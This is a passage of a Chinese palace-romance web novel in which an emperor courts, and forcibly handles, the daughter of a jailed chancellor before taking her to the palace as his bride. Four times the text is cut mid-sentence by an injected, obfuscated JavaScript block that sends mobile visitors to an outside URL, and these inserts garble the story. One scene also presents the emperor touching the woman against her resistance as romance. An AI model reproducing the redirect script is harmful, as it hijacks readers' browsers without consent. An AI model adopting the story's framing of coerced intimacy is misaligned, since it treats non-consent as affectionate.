那阴郁的小皇帝没有像往日一般不满怨怒,反而爽朗一笑,“沈相无需自责,朕自小视您如恩师,不必讲究那么多。” 这话恭敬谦逊,听得沈墨频频皱眉,忍不住要仔仔细细去将人打量一遍。 狼崽子去了趟战场回来,仿佛换了人似的。往日里与他针锋相对的劲头不见踪影,而今话里话外都透着陌生的亲近,沈墨一时间习惯不了他的转变,只冷冷地回道,“这声恩师臣担不起,皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427234|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上错爱了。” 小皇帝对他的话不置可否,面容依旧温和,径直撩起长袍下摆,就地坐了下来。 沈墨冷眼看他闲适自在地坐在草堆上,如同在自己家中一样随意放松,眉头紧锁。 岳常安从带来的食盒里摆出几样精致的小菜,又倒了一杯酒递到皇帝手中。 元栩双手举起酒杯,恭敬地递了过去。 沈墨只看了一眼,并不伸手去接。 元栩也不恼,薄唇携着浅浅的笑意,“上等的女儿红,沈相不喝可要后悔。” 沈墨对他的挑衅嗤之以鼻,“不巧,臣刚好有一女,日后铁定能喝得上,后悔怕是没机会。” 皇帝执意将酒放到他腿边,笑容有些耐人寻味,沈墨一时摸不清他的意思。但脑中有一个奇怪的声音异常清楚——千万不能喝狼崽子这杯酒。 酒香扑鼻,二人都选择了无视。 元栩朝四面环视了一圈,“沈相在这里住的时间不短了,真不打算出去了?” 沈墨冷笑,反问道,“照皇上的意思,这牢狱之灾是臣自己选择的不成?”他单手撑地,坐直了身子,神情仍是不屑一顾。 元栩席地而坐,将下摆整整齐齐地铺平在自己腿上,像对友人一般亲近的语气问道,“沈相真不打算告诉朕,姜国来的信件,究竟写了何事?” 这问题一抛出,沈墨心中了然,原是为了此事才勉强与他和颜悦色。原来把这牢房大动干戈地折腾一番,为的是从他嘴里套出话来。这狼崽子心思多,因为旁人闲言碎语,就怀疑他多年来忠君为国的苦心。他也不计较,反正早已习以为常,干脆换了个舒适的姿势,慢悠悠地回道,“信件的事本是他人挑拨离间的伎俩,皇上若认定了臣叛国通敌,大可以一直关着臣。” 元栩微微一笑,“那不成,沈相想在这里长期住下去,沿沿可就没人照顾了。” 话说完后,他还故意看了沈墨一眼,眼神别有深意。 这一眼让沈墨后背一凉,想起些陈年往事。皇帝一早就觊觎他的女儿了,那时候毛都还没长齐,就把他软糯可爱的小闺女拐走了。此事已经过去十年有多了,沈相至今想起仍耿耿于怀。但眼下更多的是担忧,生怕他又故技重施,来拐走他好不容易养大的闺女。 想到这里,一颗心一下子揪了起来,连带手掌也虚握成拳,面上却不露声色,平静道,“这就不劳皇上操心了。” 他尽量克制自己,表现得风轻云淡,不想被皇帝看出他的在意。 “朕记得沿沿幼时是个粉雕玉琢的小姑娘,很讨人喜欢,想必如今……” 元栩偏着头,似在回忆。 话说了半截,就被沈相粗鲁地打断了,“长残了。” 他的闺女容貌过人,这天下头一号的纨绔子弟,定是要严防死守,绝不给他觊觎的机会。 元栩也不拆穿,面上带着微笑,心道这是哪门子的爹。 他很是为沈若辞抱不平,忍不住辩解道,“按理说小时候那么可爱,长大了也不至于到难看的地步。” 28. [锁] [此章节已锁] 沈墨瞪了他一眼,叹惋道,“女娃子没争气,丑了就丑了,不值得皇上挂心。” 眼见皇帝终于露出了惋惜的表情,他稍稍安心下来,就听皇帝恍然大悟道,“原来是变丑了,也难怪沈相前脚入了狱,后脚国公府的人立马与沈家划清界限,沿沿的亲事也就此作罢。” 一席话有犹如晴天霹雳,这下子沈相坐不住了,女儿被拒了亲事,自己又没有陪在她身边,定是孤苦又无助。一想起她一个小姑娘独自承受被退婚后的各种委屈,又是心疼又是气闷。 元栩趁机关心道,“沈相若真的放心不下,朕倒是可以替您走一趟,安慰一下沿沿。” 沈墨乍闻女儿的遭遇,一时间急得方寸大乱,但到底是经历过大风大雨的人,很快就恢复冷静。 他眼神从皇帝脸上一扫而过,心里冷笑了一声,狼崽子想见他的闺女,想都不要想! 沈相努力平心静气,“不必劳烦皇上,袁家人不念旧情,沿沿也不会留恋。皇上有这份心,倒不如赶紧还臣一个清白。” 沈墨眼下急了,他想立刻就从牢狱里出去。 皇帝却看破不说破,只挑好听的讲,“一日为师,终身为父。既然沈相清白,朕自当力排众难为沈相洗刷罪名,好尽快让您早日出狱。” 什么父不父的,他沈墨没有这种能气到他跳脚的儿子。他的闺女又乖又贴心,听她说话都心情舒畅,好在不是这般没皮没脸的的狼崽子。 但皇帝的态度极其诚恳,让他想不信都有点难。沈相一直没习惯他如今的转变,静默了片刻,才艰难地吐出一句“谢皇上”。 元栩很是满意,临走前又嘱托了几句,要让他注意身体,缺什么东西大可以让狱卒补上,饭菜不合口味可以派人专程送过来…… 他说得越多,表现出来的越是亲和,沈墨心中就更加烦躁不安。 * 天气转凉,夜里较夏日的闷热好睡许多。 晚饭后沈若辞泡了个澡,浑身清爽,眼皮却开始泛酸。 阿茉知道她昨晚累坏了,赶紧铺好床让她好尽快休息。连嬷嬷本想阻止,但转念一想,又觉得不可能。皇上早上才刚走,是该有多稀罕,才会当夜又来一次。 她这些年在宫里行事谨慎惯了,凡事容易想多一些。这回从宫里出来,一时还没适应过来。 也罢,既然沈若辞早早地睡了,她也乐得清静,这把老骨头也好放松一下。 这么想着,她也回了房,只是被窝还没捂热,就有人过来传话,说皇帝来了府里。 连嬷嬷暗叫自己大意,连忙穿上外衣赶过去。到的时候,锦云正站在门口,朝她打了个安静的手势,才轻手轻脚地走过去,压低声音道,“嬷嬷,皇上在里边呢,不让人打扰。” 连嬷嬷探着头观望了一会儿,安静的房中突然响起女子惊慌的尖叫。叫声只是一瞬,里边又悄无声息。 闺房中有女子淡淡的香甜的气息。 沈若辞细长的手指抓紧了被褥,一双杏眼瞪得又圆又大,浑身都绷成直线。 “别动,朕看看伤势。” 元栩一手举着蜡烛,一手撑开她的双膝,不顾她的反抗,缓缓地将烛火移过去。 烛光微晃,元栩只看了一眼,剑眉缓缓地蹙起。 他略带不满地问道,“为何还是肿的,是不是没有上药?” 她还想问他怎么如此无理呢,这人反倒好,问罪起她来了。 沈若辞咬着红唇,一言不发。 皇帝行事太荒唐,她实在不想去回答他的问话。 哪知他也不追究,径直朝门口喊了一声,“锦云,拿药进来。” 一听皇帝让人进来,沈若辞顿时慌了,他这样子对她,如何能让人见着! 沈若辞撑着手肘想要坐起来,哪知皇帝一眼看出她的意图,长臂一伸,轻轻松松将人按了回去,“躺好了,让哥哥好好检查一下。” 锦云在外边应了一声,推门进来,脚步声越来越近,沈若辞忙不迭去推他的手。 元栩抬头看了她一眼,掐着她柔软的腰肢,不让她乱动,“乖一点,上完药就放开你。” 一句话让她的脸瞬间红得如火烧。他说什么?要给她上药! 烛光映着他清隽的脸庞,沈若辞红着眼,手脚挣扎却无法挣脱他的禁锢。 她就是自己给自己上药都觉得羞,才放着没有管。哪知这人竟恬不知耻,理直气壮地掰着她的腿。 元栩神色认真,仿佛要做一件再正常不过的事情,“沈若辞,踢翻了烛火,朕可不管你。” 帐内灯影摇曳,沈若辞也知道水火无情,再怎么不满也不能伤了自己,只能选择了妥协。 她是开始配合了,那人却得寸进尺,又将她的双、膝打开得更大。 元栩拧着眉头,神色严肃,手指沾了药膏,朝她腿心过去。 她很想像昨夜那样,直接晕过去了更好,奈何此时头脑异常的清醒,无形地放大了感官的体验。 这种柔风细雨的碰触,似乎比昨夜的疯狂更让人难以抵挡。 沈若辞双颊酡-红,手心沁出薄薄一层汗珠,扯紧了身下的被褥,索性将头偏向床壁内侧。 尽管选择闭眼不看,身下一阵阵陌生的触感,还是让她难耐地蹙起了眉头。皇帝真的只是给她上药,动作并不粗鲁,但她却感受到一种异样的折磨。 持续了好一会儿,终于感觉没有了动静,她朝元栩瞥了一眼。 皇帝似乎被什么转移了注意力,正盯着自己的手发呆,沈若辞趁他不注意,小心翼翼地脱离他的掌控坐起来。 指尖水光-莹润,元栩看得入神,嘴角现出一抹笑意,“真乖。” 她明明没有说话,哪里乖了。沈若辞不知道他又在胡说什么,但下意识觉得不是什么好话。正要收回目光,余光隐约见他将手指移到了唇边。 这人莫非是想…… 沈若辞心头一跳,再定神细看,那场面简直惊心动魄。 果然……如此,这人! 她随手扯过床头的帕子,急急往他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432793|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上扔过去,“你好脏。” 此时她被又羞又恼,几乎被冲昏了头脑。 好在皇帝也不生气,若无其事地接住帕子,嘴角的笑意化开,“哪里脏了,沿沿身上哪里都是香的。” 这不就闻一下,她就羞恼成这样,日后他所有其他行径,那要有怎样剧烈的反应啊。 元栩没皮没脸地将手指放在鼻间嗅了嗅,才用帕子慢条斯理地拭去指尖的湿润。 然后倾身上前,伸手去抱沈若辞。 她身子软绵绵的,明明是抗拒他的,可是他稍加伺-弄,就敏感得能接受他的。 这件事只有他一个人知道,令他有一种极致的满足感。 “真香。”他贴着她的耳畔,声音微哑。 她沐浴完明明就没有涂任何东西,哪来的香味,纯属就是胡诌。沈若辞不习惯这种亲近,推了推他,“皇上靠太近了。” 皇帝却像没长耳朵一样,一个劲儿往她身上凑。 她穿着薄薄的寝衣,因为方才挣扎过,领口微微敞开,玉-肌似雪,素色的小衣紧紧贴合着傲人的曲线。 见他缓缓逼近那一处绵-软,沈若辞莫名惊慌,在他碰触到自己之前往后缩了缩,拉开了两人的距离。 皇帝双臂撑在床褥上,仍保持着方才的姿势,只是微微仰起头与她对望。 四目相望,沈若辞见他嘴角动了动,似乎想要说什么却欲言又止。 沈若辞心头腾起一阵不详的预感,直觉想要去捂住他的嘴。 如她所料,下一秒,她听到极具冲击性的言语。 “奶香味。” 她倒吸一口凉气,胸腔里气息翻滚,白皙的脸颊红得能滴出血来。 看着他无赖的笑意,沈若辞无力地闭上眼睛。适才他的鼻尖几乎要蹭到她那里,他的唇角勾起那抹意味不明的笑,一幕幕的画面入了脑中,再加上露骨直白的调-戏,气得她身子止不住地颤抖。 狼崽子、狼崽子…… 沈若辞在心里一遍又一遍地骂着。 她还是未出阁的姑娘,何曾听过这等羞人的言辞,沈若辞当真气急了。这人疯了,折辱她的身子还不够,还要出言调戏,说她身上、她身上…… 这回皇帝真的将人惹恼了,她气鼓鼓的,干脆一不做二不休,拉过被子裹紧了自己。就像幼时无数个孤独的夜晚,她总是要整个人都躲进被子里,将自己裹得像个蝉蛹,依靠被子的庇护,才能得到安慰,踏实入睡。 这次她却像赌气那般,将皇帝晾在一旁。 “沈若辞。” 皇帝还在笑,笑着喊她的名字,笑着剥开她脑袋上的被子,沈若辞大为光火,几乎想要发怒的时候,一只手揉了揉她的发心。 “你生气了?”元栩有些不解,她极少在他面前表现出气愤的行径,就算被欺负狠了,也只是双目盈泪,愤懑委屈地望着他,控诉他,,模样可可怜怜的。 可刚刚,他并没有说什么过分的话,不明白沈若辞为何反应这么大,元栩不由得有些心焦。 29. 第 29 章 夜深了,这人的声音仿佛融入了夜色,变得轻柔起来,连带他的手上的动作也不似往日粗鲁。 甚至还有点点舒服。 沈若辞的怒气消散了大半,温顺地让他顺着毛。 元栩钻进被窝,从后面抱着她,一双手不安分地在她身上游走,先是手臂,再然后是腰,连腿也不放过,就隔着衣服摸摸索索,倒没像昨晚那样做越界的事情。 沈若辞还是绷紧了身子,生怕他又要像昨夜一样要个没完,但很快的,他便没有了动作,只是搂着她。 还好只是摸摸,她终是松了一口气。 这小小的反应竟也被发现了,他贴着她的耳畔,“怕什么,朕可不是禽兽,你还伤着呢。” 沈若辞脸皮薄,一听他又提起这事,整张脸又红得不行。 她抿了抿唇,狼崽子可不就是禽兽? 慢慢地困意涌上头来,她迷迷糊糊地睡着了。 “嗯?” 见她没了动静,皇帝以为她撒娇耍小性子,便低头拨开被子一探究竟,凌乱的发丝中,女子睡颜娇憨,白玉无瑕的脸庞透着一股稚气,不似白日里那般柔媚。 元栩心头一窒,手上的动作也停了下来,小脑袋又往前凑了凑,下意识去磨蹭他的手。 “真蠢。” 微微起伏的眉头渐渐平缓,他笑骂了一声,又去揉她的头。 简直温顺极了。 那日之后,元栩再也没有来过相府。沈若辞将那卷圣旨看了一遍又一遍,一天天数着日子。三日后就是父亲出狱回家的日子,也是她入宫的期限。 沈若辞喜忧参半。 来相府这些日子,连嬷嬷整天板着个脸,对谁也没有好脸色。 明明毫不讨喜的一个人,可偏偏厨艺极佳,做出来的菜十分对人胃口。 沈若辞洗漱完毕出来的时候,锦云已经摆好了饭菜。 “沈姑娘,连嬷嬷早上又做了新的菜式,快来尝尝。” “有劳了。”沈若辞点点头,朝饭桌走过去,见桌上除了饭菜,还有一个精致的木盒子。 她微微诧异地望向锦云。 锦云立马会意打开盒子,里边躺着一只成色极佳的玉镯子,“沈姑娘,连嬷嬷说无功不受禄,这镯子物归原主。” 吃人嘴软,沈若辞原本想着礼尚往来,便挑了这只镯子给连嬷嬷送过去,没想到她…… 她平静地将木盒子从锦云手中接过来,重新合上盖子,随手递给一旁的阿茉,“收起来吧。” 连嬷嬷不要她的东西,她也不会客气,饭菜还是要照吃。没有吃饭,哪来的力气给狗皇帝折腾啊。 沈若辞这样一想,饭都吃多了半碗。 锦云刚把碗筷撤走,就有人搬着几口紫檀木大箱子进屋。 沈若辞坐在窗边,安安静静地等人将箱子放置好了,才好奇地走过去。 阿茉翻开一口箱子,是一套大红色的衣裳,她疑惑看了一眼沈若辞,见她也蹙着眉一副不明所以的模样,便接着将旁边几口箱子一一打开。 箱子里都是一些女子的物品,做工精致,样式不凡,无一不是贵重的东西。 “小姐你看。” 阿茉递过来一幅画,沈若辞打开来一看,是一位身着大红嫁衣的女子。画中人的面貌只是简单几笔勾画出轮廓,并看不出容貌。但身上的那身衣裳却画得十分用心,红裙收腰,裙摆用金线嵌着凤凰,就连袖口点缀的凤凰纹样都清晰可见。 沈若辞不由得赞叹,“想必是位心灵手巧的绣娘画的。” 阿茉点点头,眼神里全是对漂亮嫁衣的喜欢,“这嫁衣可真好看。” 连嬷嬷收到消息刚进了屋里,见主仆二人一脸疑问地看着她,便弯身去翻看箱中的物品。哪知这一翻,脸色就沉了下来。再去看另一口箱子的物品,心中隐隐迸出一些难以置信的念头来。 等看完了最后一口箱子,她脸色奇怪极了,紧紧抿着唇不说话,一双浑浊的眼儿冒着精光,上上下下将沈若辞打量了几遍,才放软了语气道,“沈姑娘好福气,老奴之前有照顾不周的地方,还请姑娘见谅。” 沈若辞不明白她为何突然说这样的话,这老奴一直没给过她好脸色,她也习惯了,毕竟是皇帝的人,再怎么说也轮不到她管,她避重就轻道,“嬷嬷哪里的话,您一手好厨艺,我不知道多喜欢,还没好好谢谢您呢。” 连嬷嬷鞠了一躬,“沈姑娘大量。” 沈若辞微微诧异,将话题转移到几口大箱子,“嬷嬷,这些是什么意思?” 连嬷嬷虽心中已有定数,但皇帝没有交代下话来,她自然不敢擅作主张揣摩圣意,只道,“想必是姑娘入宫时要用到的物品。” 沈若辞心中“咦”了一声,不愧是皇家,一颗棋子入宫,也要如此大肆铺张,做足场面。 连嬷嬷简单清点了一下物品,越想越觉得不对劲,她借故离开后,便私下遣了一名侍卫去问清楚情况,她怀疑东西是不是送错了地方。按照之前的传闻,这些东西理应是送样同一条街的国公府才对。 那名侍卫一头雾水地将话带回宫里,得到回复后又重返相府。他找到连嬷嬷回话,“没送错。” 轻飘飘的三个字,连嬷嬷的心头却有如千万斤石头压下来,压得她喘不过气。 她定了定神,在小侍卫迷惑的目光中恢复平日里没有感情的黑脸。 “愣着干嘛,还不赶紧去做事。” 小侍卫忙告退离去,连嬷嬷这才抚了抚胸口,似乎在确定什么难以置信的事情。 隔天一早,连嬷嬷亲自下厨做了几样日常的小菜,按照往常惯例,自己留着一些,其他的都让锦云送过去给沈若辞。 沈若辞吃完早饭没多久,连嬷嬷就来到她房中,从其中一个大箱子里翻出一精致的木盒,盒中是一股红线。 初升的日头还不刺眼,连嬷嬷搬个小板凳放在门口,让沈若辞坐在那里,又叫阿茉拿来了海棠粉。 “沈姑娘,老奴为您开脸。”海棠粉涂了细细的一层在脸上,连嬷嬷手指盘着红色双线贴近沈若辞的脸,扯开、合拢,看似轻轻一下没有用力,沈若辞却疼得脚趾头都蜷了起来。 连嬷嬷也知道会疼,但这礼仪习俗,古往今来都是这么做的,她没有停手,又顺手绞了几下。 沈若辞疼得眼泪直往外冒,她捂住脸身子往后撤,眸中蓄着薄泪眼巴巴地望着连嬷嬷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436973|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嬷嬷,疼……” 连嬷嬷听她的哭腔心头一颤。 此时薄薄的晨曦洒在她脸上,迎着光那层细细的绒毛珊珊可爱,宛若初熟的蜜桃,娇嫩欲滴又讨人喜欢。 唉,皇帝这回也太逾举了,既然有心迎娶,怎么能婚前就夺了人家女子的清白! 连嬷嬷叫她的美貌晃了眼,鬼使神差地收了手。在沈若辞惊愕的目光中,她若无其事地将红线放回盒中,好像一开始就没想要做全套一样,她清了清嗓子,“意思意思就罢了,图个吉利。” 沈若辞松了一口气,心道还好连嬷嬷也明白,她又不是真的要成亲,何必白受这份苦。 但是接下来的日子,连嬷嬷却总是搞得她像要成亲似的,事事都按着礼仪规矩来,一点儿也不能含糊。 沈若辞私底下觉得很多事情大可不必,但连嬷嬷乐此不疲,凡事亲力亲为,她也不好抗拒得太明显,好在都是些琐碎的小事,她能配合的也都尽力满足。 等到进宫那一日,沈若辞在连嬷嬷的服侍下穿上那身漂亮繁复的嫁衣。 此时沈若辞坐在妆镜前,锦云正帮她梳妆。她虽觉得这身嫁衣很好看,但她进宫并非喜事,不适合这般大张旗鼓。 “嬷嬷,确定要穿这一身进宫吗?” 连嬷嬷内心有些忐忑,含糊道,“沈姑娘说孩子话了,喜事自然要着喜服。” 往前几天,她看过宫里送来的凤冠和嫁衣,心中已经有了定论。但这么多天过去了,皇上没有来过相府,甚至宫里也没有传出任何风声。 连嬷嬷莫名焦虑起来。她心里忍不住抱怨,皇上平日里随性也就罢了,怎的成亲一事也能如此儿戏! 话虽如此,连嬷嬷仍然一点也不敢松懈,卯足了力气打扮沈若辞。 阿茉如愿以偿地见沈若辞穿上画卷上的嫁衣,几乎是看呆了眼。她一向知道她们家小姐美貌过人,只是没想到这嫁衣上身,竟比样式图上的仍要好看上许多。 可惜美则美矣,却不是值得欢喜的事情。阿茉暗地里叹了口气,若不是被迫入宫,而是顺顺当当地嫁给袁公子,那才叫完满。 沈若辞看出她的担忧,私底下轻轻地按了按她的手,以做安抚。 此时已妆扮完毕,精致的妆容掩去她略显苍白的脸色,澄澈的眸子里蓄着一汪清泉,雾蒙蒙地自带风情,朱唇轻点,明艳不可方物。 连嬷嬷今日才发现这女子美得张扬,就算当年盛京第一美人的连皇后,恐怕也不及她这般娇俏动人。容貌已好看到极致,身段也不拖后腿,甚至是锦上添花,她一个老妇人看了都觉得心肝儿乱颤。 也不知道是自己老眼昏花了,还是因为她是皇帝看中的女子,连嬷嬷现在不管怎么看沈若辞,怎么都觉得美,美得没有挑剔的地方。 “嬷嬷……”沈若辞觉得这黑脸妇人好生奇怪,一言不发盯着她的脸看了半天,看得人心底发毛。 该不会是等会儿进宫,有什么豺狼虎豹正在宫里等着她呢。 连嬷嬷被她一唤回过神来,她以为小姑娘是紧张不知所措了,一边抄起手边的红盖头替她盖上,一边安抚道,“沈姑娘跟着老奴就好,老奴一路陪着,不必心慌。” 30. 第 30 章 视线忽然一暗,沈若辞皱了皱眉头,未及细想,连嬷嬷便将她人扶了起来。 沈若辞知道这是要离开相府了,几天前她已将圣旨交给了宋临,大小事宜也一一交代清楚。 她此时离家,除去阿爹,心中最记挂是宋临。 宋临是沈相自幼带在身边的,他同沈若辞一块儿长大,两人之间的感情,要比对沈家那些堂兄堂姐来得深。 沈若辞鼻子一酸,她刚往前迈了几步,阿茉便惊讶地开口问道,“公子,您怎么来了?” 宋临站在门口轻声道,“我来送送小姐。” 沈若辞闻言心头一喜,她加快了步伐走到门边,刚要迈过门槛,便被人按住了胳膊。 “我来背你。”宋临一边说一边转过身去,沈若辞想要拒绝的时候,他已经半蹲下身去,挡住了她的路。 连嬷嬷见状,趁势扶着沈若辞攀上他的肩膀,宋临轻轻松松地将人背起来。 连嬷嬷心头的大石头落了地,她也是刚刚才想起来,女子出嫁双脚不能沾地,否则不吉利。好在这小伙子及时出现,解了她的燃眉之急。 沈若辞像小时候一样趴在宋临背上,这让她想起幼时一些事情,心中不禁感慨起来,嘴上却故作轻松道,“阿临你这个样子,我差点以为自己是要嫁人了。” 宋临依旧步履稳健,“嫁人不好吗?” 于沈若辞来说,嫁人在前两年里,确实是一件喜事。 当初她卧病在床,沈相曾坐在床边哄过她,“等你养好了身子,若是还喜欢袁家小子,爹让你嫁给他。” 那时候府中上下,都以为她日后嫁的人定是袁子逸。 只不过世事难料,她最后没嫁成那个人,沈若辞笑了笑提醒道,“我这回嫁的可不是袁公子。” 她很抱歉,没有嫁成袁子逸,恐怕又要让真心关心她的人忧心了。 哪知宋临却说,“袁公子没什么好的,小姐值得更好的。” 沈若辞知道宋临在护短,她心头微微一动,但皇帝那人嚣张跋扈,后宫妃嫔又多,实在算不上更好。 与沈若辞吃饱睡足才起来梳妆不同,元栩今日从晨起便开始被各种繁冗的仪式折腾到黄昏。众位礼官连皇后是何许人也都不知道,却卯足了力气走最周全的仪式,只因为往日不好说话的帝王,今日难得一见的配合。 岳常安也没有好过,他小心翼翼地跟在元栩身边一整天,除了打点大小事宜,还要时不时地往小祖宗脸上觑上一眼,生怕他随时翻脸。 等到帝王的辂车停在沈府门前时,岳常安一颗悬着的心总算落了下来,他大概摸清楚门道,皇帝在沈姑娘面前,一般不会太凶。 接亲的吉时还有一会儿,岳常安逮着机会,悄摸摸地躲到角落里凉快一会。他刚想掏出帕子来抹一把额头的汗珠,就被人无情地打扰了。 “岳公公……” 岳常安手抖了抖,他回头一看,唤他的人正是那夜被他带出去吹冷风的袁妙莹。 那夜皇帝不知出于什么原因,要他将袁妙莹接走,后来又让她一无所获地回了家,眼下见到人,岳常安难免有些心虚。 他清了清嗓子,不自在地回道,“咳咳,是袁姑娘啊……” 袁妙莹原本被侍卫拦在外边,但此时那侍卫见她跟岳公公相识,阻拦的态度也不好太强硬,就这么松懈了一下,就被袁妙莹钻了空子,直接推开人跑到岳常安身边。 袁妙莹假装好奇地问道,“岳公公,你们今日为何事而来啊?” 岳常安正斟酌着言辞要怎么委婉地赶走她时,元栩从辂车上下来,一身红衣衬得他一张俊脸美得愈发张狂。他身量高挑,从车上下来到落地站稳这么普通一个动作,始终带着一股矜贵的优雅,赏心悦目得让人移不开眼。 袁妙莹眼前一亮,几乎是看直了眼,她一时欣喜不已,一颗心都快跳到了嗓子眼,连脚步也不自觉地朝那边过去。 元栩走了一天索然无味的仪式,好不容易等来最重要的时刻。此时冷静下来,心中除了喜悦,竟隐隐生出几分不安来。 他只想尽快见到人,以免夜长梦多。 袁妙莹满眼都是皇帝俊美的容貌,她按捺下心头的欢喜,小心翼翼地上前问道,“皇上,您是来接臣女的,对吗?” 元栩不想听到其他人聒噪的声音,他烦躁地瞥了袁妙莹一眼,没想起沈若辞身边有这号人。 他回过头去,目光依然落在相府气派的大门上,问得毫不经心,“你谁?” 袁妙莹心脏一缩,眼泪几乎要夺眶而出。前阵子整个盛京传得沸沸扬扬,说皇上在七夕宴上被她的美貌、舞姿惊艳到,对她一见钟情,要立她为后。那么多人说皇帝喜欢她,可他竟然连她的长相都记不清。 她面红耳赤,试图唤起元栩的记忆,“皇上,臣女是……” 可惜她话刚出口,就被一阵脚步声无情地掩盖了,皇帝并没有听到她的声音。 袁妙莹并不甘心,不管来的是何人,她不能放弃这个机会,于是她又走近了两步,试图提高嗓音对抗那些嘈杂的声音。 元栩拧着眉头,眼睛一瞬不瞬地盯着前方,几乎是在她准备开口的同时,薄唇轻轻地迸出一个“滚”字。紧接着长腿便急不可耐地迈开,接住了宋临背上的人。 他阴沉着脸,接过人后又横了宋临一眼。 连嬷嬷看出端倪,赶忙解释道,“皇上,哥哥送妹妹出嫁是旧俗。” 元栩面色稍霁,“无妨。” 沈若辞被他抱过去的时候,只有她知道,那人用了多大的力气,几乎是用抢的,生怕她能插上翅膀飞了那样。 她被元栩抱在怀里,鼻间萦绕着淡淡的龙涎香,不是他身上惯有草药香气。 沈若辞莫名觉得心慌。 她原本没想过元栩会来,毕竟今天是他成婚立后的大喜日子。可他为何会来,这点也不难想通,大概率是怕丢了她这颗棋子。 沈若辞也无所谓他来不来,只要阿爹能平安出狱,其他事情就变得无关紧要了。 这么想着,她倒是盼望能赶紧离开,好让宋临赶去狱中宣旨。可皇帝抱着一动不动,似乎并没有要走的意思。 一旁的袁妙莹也没有依言滚开,元栩要她滚的话,说得很小声,好在现场只有她一人听到了。她厚着脸皮留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442351|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,就想为自己再争取一下,没想到等来的却是皇帝抱着别的女子。 她一下子从云端跌落到泥地里,先是惊愕,再然后是难以置信,整个人恍惚了半晌,才确认皇帝抱着的人是沈若辞。她失望之余,又重新燃起了新的希望。 若是皇帝知道她是个残花败柳,还会要她么? 打定了注意,袁妙莹在礼乐声中再次开口,“皇上,臣女有一事相禀……” 这一声楚楚可怜,丝毫不似往日嘲讽沈若辞那般尖酸刻薄,可沈若辞还是一下子听出了说话的人是谁。 大红喜帕掩盖了视线,沈若辞虽未能看见袁妙莹,但也能猜出,皇帝是接了袁妙莹之后,顺带来捎她入宫。 袁妙莹最后一次出声,岳常安几乎是胆战心惊,他等不及命令一旁的侍卫上前赶人,自己便舍身冲过去一把将袁妙莹推开。 元栩怀中抱着人,依旧站在原地,似乎并没有受袁妙莹的影响。他一门子心思都在看沈若辞的红盖头,左看右看,大有要将那层布看穿的劲头。 连嬷嬷见形势不对,生怕他当众撩开喜帕,忙上前提醒道,“皇上,莫要误了吉时。” 元栩皱了皱眉头,忽然探过头去,将唇抵在她的耳畔,像在确认什么似的叫了一声“沿沿”。 声音细软绵长,竟难得的温柔,沈若辞轻轻地“嗯”了一声。 她也明白,皇帝在确认相府有没有偷梁换柱。 要不是连嬷嬷千叮咛万嘱咐,不可擅自掀开喜帕,她此时倒是可以来个自证清白。 皇帝生性多疑,性子又古怪,试探她一下也是理所当然的事。只不过沈若辞脚不沾地,被他抱在半空中,一颗心难免战战兢兢。 等到她上了辂车,稳稳当当地坐在车里时,才稍稍松了一口气。 车轮滚滚,沈若辞的心跳刚平缓下来,就感觉有人随后跨入车厢,一屁股坐在她身旁。 紧接着,一只大手横了过来,粗鲁地将她搁在膝盖上的手团入掌心。 沈若辞闻不惯他身上龙涎香的香气,下意识要将手抽回,却被他握得更牢。 元栩不悦道,“乖乖坐着。” 沈若辞只好由他抓着手,辂车四平八稳,元栩哼着小调,听起来心情还不错。 沈若辞垂着头,目光越过喜帕的边缘,落在他大红色的长袍下摆。 她想象不出来,那人目中无人,穿着婚服的样子。 等到了皇宫,天色已经黑透。宫里灯火通明,分不清黑夜白昼。 沈若辞却很清楚现在是什么时间,不出意外的话,宋临已经拿着圣旨抵达天牢,她爹可能已在归家的途中。 前阵子沈若辞已想好了说辞,让宋临跟沈相说她去柳太妃那里了,会小住一段时间。 她要等沈相修养好了身子,才将实情告诉他,再慢慢想办法。 只是这事心里没底,到底是瞒不住父亲的,一想到事发的后果,沈若辞心里就发愁得很,不由得轻叹了一口气。 辂车停在大殿正门口,元栩先从车上下来,又转身要去抱身后的沈若辞。连嬷嬷在一旁提醒道,“皇上,娘娘可以自己走了。” 